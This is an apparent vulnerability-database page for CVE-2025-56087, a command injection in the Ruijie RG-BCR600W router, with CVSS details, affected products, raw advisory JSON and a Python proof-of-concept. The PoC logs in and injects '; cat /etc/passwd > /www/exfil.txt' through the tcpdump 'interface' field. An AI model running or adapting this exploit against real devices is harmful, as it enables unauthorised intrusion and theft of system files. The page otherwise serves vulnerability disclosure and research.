Security Vulnerability Report
中文
CVE-2025-56087 CVSS 8.8 HIGH

CVE-2025-56087

Published: 2025-12-11 18:16:21
Last Modified: 2025-12-26 14:47:07

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the run_tcpdump in file /usr/lib/lua/luci/controller/admin/common_tcpdump.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR600W 固件版本 <= 未知受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-56087 PoC - Ruijie RG-BCR600W OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/common_tcpdump.lua import requests import sys TARGET = "http://{target_ip}" LOGIN_URL = f"{TARGET}/cgi/login" TCPDUMP_URL = f"{TARGET}/cgi/run_tcpdump" def login(session, username, password): """Authenticate to the device""" data = {"username": username, "password": password} resp = session.post(LOGIN_URL, data=data, timeout=10) return resp.cookies def exploit(session, cookies, target_ip): """Execute command injection via run_tcpdump endpoint""" # Inject command to exfiltrate /etc/passwd payload = "; cat /etc/passwd > /www/exfil.txt" data = { "interface": payload, "expression": "tcp", "count": "1" } headers = {"Content-Type": "application/x-www-form-urlencoded"} resp = session.post(TCPDUMP_URL, data=data, cookies=cookies, headers=headers, timeout=10) return resp.status_code def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target_ip = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print(f"[*] Logging in to {target_ip}...") cookies = login(session, username, password) print("[+] Login successful") print(f"[*] Sending exploit payload...") status = exploit(session, cookies, target_ip) print(f"[*] Response status: {status}") print("[+] Exploit sent - check for command execution on target") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56087", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:20.883", "lastModified": "2025-12-26T14:47:06.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the run_tcpdump in file /usr/lib/lua/luci/controller/admin/common_tcpdump.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56FD45A2-17CF-490C-AB07-9D5198A022B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1DCDE78-994A-48E2-84E2-CD533863AC18"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Evvem8Mw6SlNh-ZJpY_9SAsBq2iDi88TFdFdA1Am3PdfCQ?e=YeLYxb", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Echt6Ult6oNBv8c0GnssJeEBmbJbPx8enDixRCuyiWcKsw?e=2zJ5I2", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56087.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}